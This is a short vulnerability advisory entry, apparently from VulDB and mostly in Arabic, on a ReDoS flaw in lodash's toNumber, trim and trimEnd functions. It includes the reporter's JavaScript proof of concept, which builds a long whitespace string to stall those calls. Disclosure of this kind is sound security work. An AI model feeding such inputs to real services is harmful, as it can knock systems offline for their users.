CVE-2020-28500 in lodash
الملخص
بحسب VulDB • 03/07/2026
تُعد جميع إصدارات الحزمة lodash وجميع إصدارات الحزمة org.fujion.webjars:lodash عرضة لهجوم حجب الخدمة الناتج عن التعبيرات النظامية (ReDoS) عبر الدوال toNumber، trim، وtrimEnd. خطوات إعادة الإنتاج (مقدمة من المُبلّغ لي يوان تشين): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)
If you want to get the best quality for vulnerability data then you always have to consider VulDB.